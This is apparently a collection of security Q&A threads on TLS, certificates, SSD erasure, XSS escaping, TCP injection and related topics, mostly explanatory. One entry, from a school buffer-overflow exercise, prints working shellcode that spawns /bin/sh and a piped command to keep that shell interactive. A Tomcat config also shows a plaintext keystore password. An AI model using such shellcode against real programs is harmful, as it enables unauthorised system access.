For SSDs, you'll want to use ATA Secure Erase. The implementation of this is vendor specific so you'll want to find the tool from your SSD manufacturer that lets you do it. There are some generic ones that try to cover off most SSDs too. The way it works is that all modern SSDs (barring some very early ones) generate a random encryption key during first initialisation, and then transparently encrypt all data on the SSD after this. This includes data written to otherwise inaccessible sectors provisioned for wear-levelling and other SSD operations. As SSDs have limited write cycles, it isn't very efficient to overwrite every sector with random data or zeroes. Instead, ATA Secure Erase simply resets the encryption key on the disk to a new random value, thus rendering all previous data on the disk unreadable. This negates the need for a costly wipe process, with the added bonus of being very fast.


Are hardware tokens secure in case of a data breach? One of my banks authenticate me using username and an one time passcode (8 numbers) generated by a hardware token they gave to me when I opened the account.
On the surface it looks like that as long as no one steals the token from me, then no one can generate those one-time passwords and log in on my behalf. But what if there is a data breach where hackers steal the database?
In case of regular passwords they are hashed and can't be recovered easily to log in. But what's the situation with physical security tokens? Are they safe? Doesn't the server need to know some kind of shared secret (that can be stolen) and have synchronized clocks to be able to verify that the number entered from the token is correct?

One-time password servers are almost always separate devices with their own database.  If that server is compromised, then yes, the attacker will be able to duplicate your token in software.  However, that server is most likely isolated and harder to break into than the rest of the applications and databases which it supports.


TLS socket wrapper server/forwarding agent? One option typically used by organizations to forward a plaintext TCP connection over the network is SSH local and remote port forwarding. SSH binds a port locally and forwards all traffic to the remote machine over SSH.

This is a great solution for a number of reasons, namely that you get message encryption and message authenticity, and you also have somewhat of a guarantee of authorization in that the user must have SSH access to the machine (and root if the port is under 1024).

However, in the case of wanting message encryption and authenticity without wanting authentication per se, I'm not sure of another existing solution off-hand.

What I was able to imagine, however is a server/agent setup which would wrap TLS and do port forwarding where needed. Say that I need to run Redis over the internet (why is beyond the point, if you're asking why, ask for another service that would best fit your imagination). A decent solution would be to run a process on the Redis server which bound to a given port and acted as a TLS proxy. You'd need to run through an entire TLS handshake to connect and transfer data to this proxy.

The second half of the equation would be to run something client-side on the servers which need to connect to Redis. This would again listen on a local port, but forward traffic over TLS to the aforementioned TLS proxy.

Does such a technology exist? I'd like the eventual option of using client-side SSL certificates for authentication, but simply upgrading to TLS over plaintext is a huge benefit in my opinion.

You may want to have a look at stunnel, that provides SSL-powered tunnels. Depending how you configure it, it may provide what you look for.

Take care that you do encryption because of possible attackers, and attackers can become active, i.e. try to alter data in transit or masquerade as a genuine server or client. If there is no client authentication then the server cannot be sure of who it is talking to. If you configure stunnel on the server side to use a self-signed certificate, and you setup clients so that they accept whatever certificate the server sends, then your clients may be made to talk to a fake server, and this can end with a nasty Man-in-the-Middle.

So even if you make clients "anonymous" (no client authentication), you will probably still want to authenticate the server, i.e. make the server use a proper certificate that the client validates. (Unless you use the tunnel only to convey a protocol which is itself properly protected, e.g. you do SSH-within-SSL, which is possible but maybe not what you are envisioning.)


Web application penetration testing resources? Possible Duplicate:
  Best resources to learn web security attacks?

I'm very interested in web application penetration testing. I went over every good Youtube video on that subject and most  of the books. I'm reading Tangled web at the moment. Thanks to those resources I've reported many vulnerabilities on sites in my country and had a chance to expand my knowledge and meet some cool people. If you know any valuable resources, free videos or free courses please post link here. Thank you very much.

Sans has a Web Penetration Testing and Ethical Hacking: Capture the Flag class you might be interested at

https://www.sans.org/security-training/web-penetration-testing-ethical-hacking-capture-flag-day-6-13632-cid

Another place to practice would be the sites listed at

http://captf.com/practice-ctf/


Utility of HTTP headers for a REST API Can somebody confirm me that the HTTP-XXS-protection header and the X-content-type header is useless in the case of a REST api who provide only json to clients ?
Can someone explain me why exaclty ?
Thanks.

Those headers are of use to a compliant browser that can take action upon them.
API responses handled by a piece of code that parses them into something else will probably not be inspected for these headers or acted upon. However nothing stops browsers from doing API calls, against which these headers will come into play.
It is unusual that JSON content ends up being rendered directly on a browser, but it does happen. When it does, it is as critical to properly sanitise it as it if were any other piece of data.


What does Django's ALLOWED_HOSTS variable actually do? I'm supposed to set ALLOWED_HOSTS in my Django project's configuration to the hostnames that belong to me to

  ... prevent an attacker from poisoning caches and password reset emails with links to malicious hosts by submitting requests with a fake HTTP Host header, which is possible even under many seemingly-safe webserver configurations.

What does this actually mean?  Why wouldn't the attacker simply use the "correct" Host header and do the same thing to spam password resets?  'Poisoning caches' also sounds like something that would be between Eve and Bob which I don't have control over anyways...

It took me a bit of digging to find it, but I found this which seems to answer the question:

https://www.djangoproject.com/weblog/2013/feb/19/security/#s-issue-host-header-poisoning

  Issue: Host header poisoning

  Several previous Django security releases
  have attempted to address persistent issues with the HTTP Host header.
  Django contains code -- and some functionality shipped with Django
  itself makes use of that code -- for constructing a fully-qualified
  URL based on the incoming HTTP request. Depending on configuration,
  this makes use of the Host header, and so an attacker who can cause a
  Django application to respond to arbitrary Host headers can cause
  Django to generate, and display to end users, URLs on arbitrary
  domains.

  Previous iterations of this issue (see CVE-2011-4139 and
  CVE-2012-4520) have focused on tightening Django's parsing of Host
  headers, to eliminate various means by which attackers -- using
  techniques such as username/password pairs in their submitted Host
  header -- could exploit this.

  Ultimately, however, Django alone cannot ensure that an attacker is
  unable to submit, and cause Django to accept, arbitrary Host headers.
  Properly securing this in a deployed Django instance additionally
  requires configuration of the web server, and both the configuration
  and the achievable level of security vary with the server being used.

  In light of this, the get_host() method of django.http.HttpRequest
  will now validate the Host header against a new setting,
  ALLOWED_HOSTS. This setting is a list of strings (by default, an empty
  list) corresponding to acceptable values for the header, with some
  support for wildcards.

  Code which does not use get_host(), or Django configurations which can
  determine the current hostname without recourse to HTTP headers (i.e.,
  when Django's sites framework is enabled) will not be affected by this
  change.

  Since this is hardening/tightening of a previous issue, it does not
  have a new CVE number.


How does PKCS#7 padding work with AES-256, CBC mode? I'm a bit confused with AES-256, CBC, and how it works with padding (PKCS#7).

Whenever I encrypt data of multiples of 16 bytes (the block size), extra 16 bytes are always padded at the end.

For instance, a 1600 byte file turns into a 1616 byte encrypted file.

If I look into the file with a hex editor, the last 16 bytes are not all zeros at all. I don't see any particular pattern either.

An explanation would be appreciated!

The padding is done before encryption. It ensures that what will be given to the encryption algorithm can be split into an integral number of blocks (16 bytes per block with AES). AES encrypts the whole, data and padding, and encrypted data "looks random".

After decryption, the original contents of the padding are revealed, and will exhibit the proper structure (namely that the extra bytes all have value n if n extra bytes were added -- n = 16 in your example).


Is HTTP POST insecure? Is it possible to perform a MITM attack or even bruteforce a HTTP POST?  If so how does one perform an attack and how can a developer protect his/her site from such an attack?

Is it possible to perform MITM on HTTP POST?

HTTP is not encrypted, so if you "get in the middle" you can read the communication and modify it. You can get in the middle by e.g. hacking a router or cutting a cable. Your ISP is already in the middle and can read your HTTP communication.

This is true for all HTTP methods - POST, GET, etc.

Is it possible to brute-force HTTP POST?

Since HTTP is not encrypted there is nothing to brute force.

How do you protect your site?

Use HTTPS (that is, HTTP with TLS). If you do it right, a MITM can not read or modify the traffic, and the cryptography can not be brute forced.


Is TLS 1.3 available and if so, how is it enabled? I have a .NET desktop application with an SQL Server 2016 Express SP1 back end running the latest cumulative update 3.

I have enabled TLS 1.3 on both server (Windows Server 2012 R2) and client (Windows 10 Pro) machines via the registry in the same way that I enabled TLS 1.2.

When I activate encryption of data in transit, the packets are showing that the negotiated protocol is TLS 1.2. How can the protocol be increased to TLS 1.3?

This is probably not news, but since the TLS 1.3 RFC is still in DRAFT, you'll probably cause yourself compatibility headaches if you turn it on for a production server.

I would guess this is exactly what you're running up against: TLS 1.3 may exist in some places, but is probably not fully supported all the way through both the client and server stacks; either some component doesn't support it, or they support mis-matched versions of the 1.3 draft, and they and up agreeing on 1.2. Just a guess.

Also note that (as far as I'm aware) TLS 1.2 --> TLS 1.3 is more about performance improvements and simplifying the protocol than about security. While there are a lot of good changes in 1.3, there's no security need to be a bleeding-edge adopter.


Program exiting after executing int 0x80 instruction when running shellcode In school I was given an assignment to perform a buffer overflow, which would execute some shellcode and open a new shell. After a bit of fiddling the buffer overflow succeeded, and when I ran the exploit in GDB it says that the program is executing /bin/dash, and then the program I was exploiting exited normally, leaving me with no shell.

When running the test program for the exploit, it runs just fine and gives me a shell as it's supposed to. When I try to use the shellcode to actually exploit another program it runs fine, I get no faults, but neither does it spawn a new shell. I have tried modding the shellcode so that it runs files I've compiled myself, although I have only tried with a few simple ones which print the hostname, and this works fine. If I added system("/bin/sh"); to such a file, it still doesn't spawn a shell as I wish.

When I single step through the shellcode with GDB I see that the vulnerable program I am exploiting exits right after executing the int 0x80 instruction. My question here is two-fold: Why does it exit here, and what can I do to prevent it, thus spawning a new shell which I can use?

Here is the shellcode I use:

"\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (hs//)
"\x90" //nop
"\x90" //nop
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f (nib/)
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80" // int 0x80
"\x90" //nop
"\x90" //nop
"\x90" //nop
"\xeb\xfb"; //jmp -4

The shellcode I use can be found here, so credit for this goes to ipv.

If you are running this from the command line, and you are using the < to feed the shellcode from a file, the shell will immediately terminate when it reaches the end of input.  If you want it to remain keyboard interactive, do this:

  cat shellcode.hex - | ./vulnerable_program

The - is stdin (keyboard input in this case), so you can type as you wish after that.


openSSL selects ECDH-RSA instead of ECDH-ECDSA I am trying to do a secure connection with openSSL between a client and a server that I wrote.

When I try to select the cipher suite to use, I do SSL_CTX_set_cipher_list(ctx, ECDH-ECDSA-AES18-GCM-SHA256) and this both on the client and the server.

But when I check with get_cipher_list, the cipher at priority level 0 is ECDH-RSA-AES128-GCM-SHA256 (notice the use of RSA instead of ECDSA), with ECDH-ECDSA-AES18-GCM-SHA256 only appearing at level 1.

Both client and server have ECDSA keys in certificates signed by an ECDSA CA.

I now have several questions:

where does the suite with RSA come from? none of server or client selected it as a possible cipher.
Is it possible to have the ECDSA at priority 0?
more troubling: when I call SSL_get_cipher(ssl) it indicates that the actual cipher used is the one with RSA. However, I was able to communicate between client and server. How is that possible if they don't have an RSA certificate?
Then, how can I be sure that the traffic is effectively encrypted?

(I assume both the AES18 are typos for AES128.)

Some early releases of OpenSSL 1.0.1 had a bug that caused a few of the new entries in the cipher table including this one to be selected incorrectly. Using patch e (Feb 2013) or later should fix it. (Or 1.0.2, just released a few weeks ago.) If interested you can see the issue by diffing ssl/s3_lib.c between versions.

If you got a connection to the server using an RSA suite, the server does have an RSA cert. Remember it is entirely possible for a server to have key&cert(s) for more than one algorithm and choose the appropriate one for the ciphersuite negotiated with a client; OpenSSL library server in particular can have RSA, DSA, DH and EC (which can be either ECDSA or ECDH). (Plus GOST, an optional Russian algorithm rarely used elsewhere.)

Aside: do you really want ECDH not ECDHE? Only the latter provides forward secrecy.


self-signed chain of certificates vs self-signed single certificate Will I have a more secure / encrypted connection if I had a self-signed chain of certificates instead of using only one single self-signed certificate?

[Root CA -> Intermediate 1 -> Intermediate 2 -> my.api.com]

vs

[Root CA -> my.api.com]

Or does that have no impact on encryption?

For the security of the connection it does not matter if you have intermediate certificates and how many. The strength of the encryption depends on the cipher used in key exchange and encryption which is mostly independent of the certificate and fully independent of any chain certificates. Certificates are mainly used for authentication to prevent man in the middle attacks and all which is relevant here is that the attacker cannot fake any of the certificates involved, i.e. does not have access to any of the private keys and cannot trick a certificate authority (or hack it) so that it issues a trusted certificate for the specific domain.


Does HTTPS verify the domain in the requested URL matches the SSL certificate Common name? I've noticed companies like cloudflare or wordpress.com seem to offer a kind of "3rd party" SSL certificate to their customers, and when viewing certificates of the websites that use these services, the Common name  often corresponds to cloudflare, sucuri, automattic etc and not to the domain name of the url being requested. here is a screen shot example

This seems to indicate that the browser (in this case chrome Version 59.0) doesn't check this. Does the TLS protocol require that the domain/hostname being requested has to match the Common name on the public key certificate?

It does check the DNS name matches the certificate, however it also validates if the domain name is in the alternative name field.
If you download the SSL certificate for www.seedprod.com, you'll find:
-----BEGIN CERTIFICATE-----
MIIGQzCCBeugAwIBAgIRAPdMB9xtmbIZDI9ahTm4MRcwCgYIKoZIzj0EAwIwgZIx
CzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNV
BAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTgwNgYDVQQD
Ey9DT01PRE8gRUNDIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0Eg
MjAeFw0xNzA0MjgwMDAwMDBaFw0xNzExMDQyMzU5NTlaMGwxITAfBgNVBAsTGERv
bWFpbiBDb250cm9sIFZhbGlkYXRlZDEhMB8GA1UECxMYUG9zaXRpdmVTU0wgTXVs
dGktRG9tYWluMSQwIgYDVQQDExtzc2wzNzgwOTQuY2xvdWRmbGFyZXNzbC5jb20w
WTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAASu4JtvmTPQZHm10bG4CVuOg2O9qVWC
t09Hx0vBnLVoln7Z25glBjo8bPcQpzZ5ELnHiRDnfXOFip9mqx1Ha7ito4IERTCC
BEEwHwYDVR0jBBgwFoAUQAlhZ/C8g3FP3hIILG/U1Ct2PZYwHQYDVR0OBBYEFLoE
5sVmZxdES/mk31Ix6XhvqKbzMA4GA1UdDwEB/wQEAwIHgDAMBgNVHRMBAf8EAjAA
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBPBgNVHSAESDBGMDoGCysG
AQQBsjEBAgIHMCswKQYIKwYBBQUHAgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5j
b20vQ1BTMAgGBmeBDAECATBWBgNVHR8ETzBNMEugSaBHhkVodHRwOi8vY3JsLmNv
bW9kb2NhNC5jb20vQ09NT0RPRUNDRG9tYWluVmFsaWRhdGlvblNlY3VyZVNlcnZl
ckNBMi5jcmwwgYgGCCsGAQUFBwEBBHwwejBRBggrBgEFBQcwAoZFaHR0cDovL2Ny
dC5jb21vZG9jYTQuY29tL0NPTU9ET0VDQ0RvbWFpblZhbGlkYXRpb25TZWN1cmVT
ZXJ2ZXJDQTIuY3J0MCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC5jb21vZG9jYTQu
Y29tMIICjAYDVR0RBIICgzCCAn+CG3NzbDM3ODA5NC5jbG91ZGZsYXJlc3NsLmNv
bYIgKi5icmF2ZWVhZ2xld2VhbHRobWFuYWdlbWVudC5jb22CFCouY29taW5nc29v
bnBhZ2UuY29tgg8qLmNvbW9sb2dpYS5jb22CDiouZGlub2Z1cnMuY29tgg4qLmVw
aWtjaGF0LmNvbYIVKi5oZWF0cHJlc3NuYXRpb24uY29tgg8qLml2YW50aS5jb20u
YXWCCyouaXZhbnRpLmN6ggsqLml2YW50aS5kZYILKi5pdmFudGkuZXOCCyouaXZh
bnRpLmZyggsqLml2YW50aS5pdIILKi5pdmFudGkucGyCDSoubXRhcGF5Mi5jb22C
FioucGF1bGhvd2VsbGRlc2lnbi5jb22CFSouc2Nwcm9wZXJ0aWVzLmNvbS5hdYIO
Ki5zZWVkcHJvZC5jb22CFCoudGhlYXJ0b2ZhZHZpY2UuY29tgh5icmF2ZWVhZ2xl
d2VhbHRobWFuYWdlbWVudC5jb22CEmNvbWluZ3Nvb25wYWdlLmNvbYINY29tb2xv
Z2lhLmNvbYIMZGlub2Z1cnMuY29tggxlcGlrY2hhdC5jb22CE2hlYXRwcmVzc25h
dGlvbi5jb22CDWl2YW50aS5jb20uYXWCCWl2YW50aS5jeoIJaXZhbnRpLmRlgglp
dmFudGkuZXOCCWl2YW50aS5mcoIJaXZhbnRpLml0gglpdmFudGkucGyCC210YXBh
eTIuY29tghRwYXVsaG93ZWxsZGVzaWduLmNvbYITc2Nwcm9wZXJ0aWVzLmNvbS5h
dYIMc2VlZHByb2QuY29tghJ0aGVhcnRvZmFkdmljZS5jb20wCgYIKoZIzj0EAwID
RgAwQwIgOaCjhzo/ys/XgLJOgT/bqjtBr49RL8mzmD1a3FP6DnICH0YLws0/K04O
LSik+0+yFS3pTsnK44ONkX1NccykTvI=
-----END CERTIFICATE-----

If you put that in a file seedprod.crt, you can then use openssl to view the full data in the certificate with openssl x509 -in seedprod.crt -text.
Then you will see:

X509v3 Subject Alternative Name:
DNS:ssl378094.cloudflaressl.com, DNS:*.braveeaglewealthmanagement.com, DNS:*.comingsoonpage.com, DNS:*.comologia.com, DNS:*.dinofurs.com, DNS:*.epikchat.com, DNS:*.heatpressnation.com, DNS:*.ivanti.com.au, DNS:*.ivanti.cz, DNS:*.ivanti.de, DNS:*.ivanti.es, DNS:*.ivanti.fr, DNS:*.ivanti.it, DNS:*.ivanti.pl, DNS:*.mtapay2.com, DNS:*.paulhowelldesign.com, DNS:*.scproperties.com.au, DNS:*.seedprod.com, DNS:*.theartofadvice.com, DNS:braveeaglewealthmanagement.com, DNS:comingsoonpage.com, DNS:comologia.com, DNS:dinofurs.com, DNS:epikchat.com, DNS:heatpressnation.com, DNS:ivanti.com.au, DNS:ivanti.cz, DNS:ivanti.de, DNS:ivanti.es, DNS:ivanti.fr, DNS:ivanti.it, DNS:ivanti.pl, DNS:mtapay2.com, DNS:paulhowelldesign.com, DNS:scproperties.com.au, DNS:seedprod.com, DNS:theartofadvice.com

Note DNS:*.seedprod.com and DNS:seedprod.com are in there, so the certificate validates for seedprod.com.


Validating a certificate chain without x509v3 Subject Key IDs I work for a hosting company and we do not currently offer certificate signing services, so we have to accept 3rd-party certificates from non-technical clients. I am trying to build a tool to verify that the keys, certificates, and intermediates provided are correct and comprise a complete chain back to a root cert.

My current solution is:

Check that the modulus of the Private Key matches that of the Certificate.
Match the Subject Key IDs up the chain until I hit a Root Certfiicate.

However, I've bumped into some ancient root certs that do not have key IDs, or x509v3 fields at all. What's the proper way to check the chain without using v3 extensions? Match up the Issuer CN with the Subject CN and then... ?

Turns out I did a bunch of work reinventing the wheel.

openssl verify -CAfile CA_bundle.crt somedomain.crt


XSS when  and " are escaped? I'm pentesting a website that has a reflected XSS, or at least a vector for a reflection, but the issue is the following :

It escapes <, >, " to their HTML entities, but not &, ) or (.
You are not in a tag, so you have to create your own.

It's not the first time that I see implementations of this sort. Express.js has this by default for example. Are implementations like these safe from XSS?

No, that's not necessarily sufficient.  There are many XSS vectors that can potentially still be applied, depending upon where the injection point is.

Some examples:

Injection into unquoted attribute values
Injection into attribute values quoted with a single quote (' instead of ")
Injection into CSS
Injection into Javascript
Injection into comments

... and lots more.  You need to do context-sensitive escaping, and you definitely need to escape at minimum <, >, ", ', plus some more in some contexts.  Go spend some time on the OWASP site; there's tons written there, and this is explained in great detail.


What are the risks due to the "challange ACK" side channel attack [CVE-2016-5696]? I have just been reading more detailed about the recent CVE-2016-5696 vulnerability in linux kernels (version 3.6 and abov) at http://lwn.net/Articles/696868/ and there it tells that via an attack using the "challange ACK" side channel, data can be malicously injected into a TCP connection (e.g. a HTTP response/request).

I do not completely get the point, since I have always assumed that of course data can be injected/modified in a HTTP connection, because it is not encrypted to start with.

Am I right in assuming that the difference here is that this bug allows someone to inject data into a TCP connection, while not being a relaying node of that TCP connection (something they maybe phrasing off-path)?

Put more simply, is it wrong to say that essentially the CVE-2016-5696, consitutes a thread (malicious injection) which anyway existed, given tha the "on-path" relaying computer always had the change to alter content (if not prevented by encryption TLS/SSL)?

the difference here is that this bug allows someone to inject data into a TCP connection, while not being a relaying node of that TCP connection (something they maybe phrasing off-path)?

Anybody able to both sniff and modify/inject packets was able to modify TCP (and thus HTTP) connections before. The "challenge ACK" side channel attack replaces the requirement for direct sniffing (i.e. in-path) by a smart guess about the sequence number and port used by an existing TCP connection and thus makes it possible for an off-path attacker to modify the connection.

The attacker still needs to be able to inject the appropriate packets though, i.e. spoofing the source IP address need to be possible. If this is possible and for which IP addresses depends on the environment of the attacker. It is probably possible to fake a local IP address in most low security local networks, i.e. public hotspots or company networks. But in these even ARP spoofing might already be successful which allows the more powerful in-path attacks against the local user. Spoofing non-local IP addresses instead is harder. My somehow educated but not reliable guess is that this is probably impossible with the majority of DSL/Cable accounts because the ISP will filter spoofed IP.  But it might be easier in more open networks at hosting companies or universities. And of course anybody with access to routers on the "open" internet is able to spoof IP, like internet service providers and probably also government agencies.


TLS Protocols 1.0, 1.1, 1.2. Should I get rid of TLS 1.0? I'm getting mixed statements. Is TLS 1.0 not recommended, not supported, or out of compliance? What if you have 1.2 disabled and 1.0 enabled?

I understand SSL is out, but is TLS 1.0 as well?

Is TLS 1.0 not recommended, not supported, or out of compliant?

TLS 1.0 is still supported, but generally not recommended if you can avoid the need to support older clients. This entirely depends on your clients, your setup, and your business or personal needs. There are some considerations for upcoming PCI compliance having to disable support for TLS 1.0 as well.

  What if you have 1.2 disabled and 1.0 enabled?

TLS 1.0 can be suceptible to a number of attacks if not mitigated by server nor client, such as BEAST.


Finding artifacts of software I was wondering if there is an established way to know what a running  particular program on a system might leave behind (in terms of changes to a filesystem, such as in Linux). I am thinking of this in similar lines to how I think a forensics investigation might take place.

The way I thought to approach this problem is similar to how I believe  Tripwire works. First by making a hash of directories, find which have been changed, then to narrow down the specific files from those directories that are changed. Then by using a VM with snapshots I can revert to the previous state of the machine and compare future changes with previously recorded changes.

I know that the logging and tmp directories will change naturally anyway. But apart from these is there any way of knowing what is left behind on a system, or is there a better (or smarter) process than the one I am thinking of using?

One possible solution would be to take a forensically sound image of the target (entire HDD or a specific area or even the RAM) before and after the program you are wanting to analyze runs. Then simply* compare the two images.

I would start with comparing hashes just to be certain something did change (so you dont waste time 'looking'). Many times, 'artifacts' are 'left behind' in RAM and thus deleted over time when not used.

You can use a program like FTK Imager to do this.


(Why) should the clipboard be cleared when it contains content from a closed program? Some operating systems resp. desktop managers clear copied content from the clipboard when the "source" program gets closed.

Example:

copy (Ctrl+c) some text from a webpage in your browser
close the browser
paste (Ctrl+v) this into a text file

→ Nothing gets pasted.

I read somewhere that this is for security reasons. Is this true? Why would it be insecure to keep the copied content in the clipboard?

On X11 this happens because "Copy" doesn't actually copy anything - just tells the program to take ownership of the 'CLIPBOARD' selection. When you paste, the target program sends the selection's owner a request of the contents. This was initially done for performance since most or even all clients might be running on a mainframe and just connecting to your local terminal, so if there was a shared buffer then copying large amounts of data would have caused long delays. It is also more flexible because the program can offer copied data in many types (e.g. a word processor might have its own internal format, plus RTF, HTML, and plain text, or an image editor many different formats), and in the X11 case it doesn't need to pre-convert to all of them - just to a single format it was requested. In contrast, programs on Windows have to put all formats in the clipboard, and copy operations can be slow if you use Remote Desktop.

(Note that this doesn't depend on the desktop environment much, with the exception that some DEs - e.g. KDE - have "clipboard managers" that automatically hold a copy of the "copied" data. Beyond that, all X11 programs behave the same way and all Windows programs behave the same way.)


Handling passwords in a web application I am trying to learn how a secure web application is developed. Particularly, I am unsure of how passwords are sent from the client to the server. For a typical user/password login form. If the client sends a plaintext user/pass in a POST request over HTTPS. Is this secure enough? Considering the server hashes the plaintext pass with the stored salt using something like bcrypt, with enough iterations.

Is this scenario secure enough?
Ignoring other attack vectors such as SQL injections, XSS etc. I am simply looking to see if sending plaintext password over SSL in a POST request is secure enough, or if some other security might be necessary, on the client side.

Yes, sending the information using POST over HTTPS is the typical way of doing things.


Is my data safe if I run an android app (a game) on emulator inside a virtual machine I want to play a very popular game made for mobile platform, but, my father doesn't allow me to touch any smartphone.
I tried bluestacks to play it on my pc. But, while installing the game, its privacy policy says that it might collect some personal data. So, I decided to use a virtual machine over which I would use an emulator to play that game.
Could that game still collect any information from the host machine?

It will gather information about your host machine, but it will not be able to browse your host machine to gather data.


Is moving a file with "cut and paste" secure? If you cut and paste a file (in Windows specifically) within the same drive, are there effectively two versions of the file on the drive; one in the new location and the original file on the drive which is no longer 'visible'? I.e. does cut and paste really just copy and paste but delete the original file? Or does Windows just change the directory?

How can we securely move a file without leaving anything behind?

This depends on whether or not you are cutting and pasting into the same partition, not just the same drive. If you are pasting it into a different partition, then it will actually be copied, and the original subsequently unlinked. If, however, you are moving it within the same partition, only the metadata specifying where the file is located will change. This is the reason massive files can be moved (cut and pasted) within a given partition instantly, even if they are several gigabytes in size.

Note that this also applies to Mac OSX and most GNU/Linux distributions.


Using the openssl command, how can I tell if it's using TLS 1.0? Due to a security scan, I was told to not use TLS1.0. I found a link that gave me commands to use to check if a specific protocol is used/enabled. The command I ran (with output is)

(Output from TLS1.0 disabled)

$ openssl s_client -connect localhost:8443 -tls1
CONNECTED(00000003)
139874418423624:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure:s3_pkt.c:1275:SSL alert number 40
139874418423624:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:598:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 0 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : 0000
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    Key-Arg   : None
    Krb5 Principal: None
    PSK identity: None
    PSK identity hint: None
    Start Time: 1505770082
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
---

The link said if the protocol is enabled, it will say "Connected", else "handshake failure".  However, as you can see the messages above, it says both even though I configured Tomcat to use TLS1.2.

My config in the server.xml file:

<Connector port="8443" protocol="HTTP/1.1"
   maxThreads="150" SSLEnabled="true" scheme="https" secure="true"
   keystoreFile="/glide/bigdata/bdapi/keys/bdapi_keystore.jks"
   keystorePass="bdapi123" clientAuth="false" sslProtocol="TLSv1.2"
   sslEnabledProtocols="TLSv1.2"/>

If I allow Tomcat to use TLS1.0, I still see CONNECTED but I also see the certificate info.

(Output from TLS1.0 enabled)

openssl s_client -connect localhost:8443 -tls1
CONNECTED(00000003)
<snip snip>
<snip snip>
(certificate info)
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
<snip snip>
<snip snip>
(certificate info)
---
Server certificate
-----BEGIN CERTIFICATE-----
<snip snip>
<snip snip>
(public key)
-----END CERTIFICATE-----
<snip snip>
<snip snip>
(certificate info)
---
No client certificate CA names sent
Server Temp Key: ECDH, secp521r1, 521 bits
---
SSL handshake has read 2121 bytes and written 357 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : ECDHE-RSA-AES256-SHA
    Session-ID: 59C0448146B0A18DE52D99C630C896E12BA9861702AB2582C2AA0658E6458B04
    Session-ID-ctx:
    Master-Key: <some random key>
    Key-Arg   : None
    Krb5 Principal: None
    PSK identity: None
    PSK identity hint: None
    Start Time: 1505772673
    Timeout   : 7200 (sec)
    Verify return code: 21 (unable to verify the first certificate)
---
read:errno=0

How do I interpret the output from openssl?  Did I successfully disable TLS1.0 with the config above or since it says "CONNECTED" in both output, I didn't disable it and I'll fail the security scan again?

TL;TR: It is far from trivial to verify from the client that a server is not supporting TLS 1.0. You can be sure that the server supports TLS 1.0 if you get a successful connection with TLS 1.0. But you cannot be sure that the server does not support TLS 1.0 if this attempt fails.

As you already realized the information given in the link you cite are at least partly wrong. Also, they are incomplete. Checking if a server has really TLS 1.0 disabled is not that simple. To understand what need to be checked to be really sure it is better to have at least a basic understanding of how the TLS-Handshake works. Note that most of what I say here is also true for SSL, which is mainly the earlier  name for the same protocol family now known as TLS.

Initially, the client needs to create a TCP connection to the server. This has nothing to do with TLS itself yet. And already if the TCP connection succeeds you will get CONNECTED(00000003). If you don't get this CONNECTED then the server might be down or might not be reachable from your site, for example because a firewall is blocking the access. Thus, not getting the CONNECTED says nothing about the ability of the server to support TLS 1.0.

After the TCP connection is created the TLS part begins. In the simplest case the client sends at the beginning of the TLS handshake inside the ClientHello message the best TLS version it can and the ciphers it supports. The server replies with the best SSL/TLS protocol it supports which is equal or lower to the protocol version offered by the client. And the server picks the common cipher based on what the client offers and and what is configured to be acceptable for the server. In your specific case the client offers TLS 1.0 as the best protocol (due to the -tls1 option) and the default cipher set. The handshake will fail if the server does not support TLS 1.0 or lower OR if the server does not support any of the ciphers offered by the client. Because of the last part it is possible that the server fails with your specific client even if the server has TLS 1.0 enabled because the server does not like the ciphers offered by the client.

And it gets more complex. It is common that servers support multiple certificates on the same IP address today. This is done by including the target hostname using the SNI TLS extension  inside the ClientHello at the start of the TLS handshake. If there is no SNI extension or if the extension does not match any configured hostname the server will usually either send some default certificate or abort the handshake. Because of the last part it is possible that the server fails with your specific client even if the server has TLS 1.0 enabled because no SNI extension was used or it was used with the wrong hostname. openssl s_client will not use SNI by default so your attempt might simply have failed just because of a missing SNI extension. You have to use the -servername option for this and of course you need to use a hostname properly configured at the server with this option.

And so far we dealt only with sane TLS stacks and a direct connection to the server. If the TLS stack is broken or if there is some broken middlebox in between (like load balancers, firewalls etc) they might make the handshake fail accidentally or on purpose even though the server supports TLS 1.0. And if you have some SSL termination in front of your server (some firewalls, load balancers or a CDN) you will not even test the properties of the server but of the system in front of it.

In other words: if you get a successful TLS 1.0 connection to the server you can be sure that the server or some SSL terminator in front of it supports TLS 1.0. If the TLS 1.0 connection fails instead it does not mean for sure that the server does not support TLS 1.0.


Difference between binary malware and script-based malware? I'm well aware in the concept of binary malware but I don't fully understand the idea of a script-based (or shell script) malware. I am more interested in the difference especially in how script-based malwares are multi-platform and can work across architectures, as opposed to normal binary malwares.

In an interpreted programming language the interpreter is compiled for each architecture but the scripts they interpret can generally be interpreted on any platform. Generally functions which might be operating system dependent (such as various system calls) are abstracted so the functions available in the interpreted language work the same regardless of OS.

Also relevant:
Can a .sh file be malware?
http://en.wikipedia.org/wiki/Interpreted_language


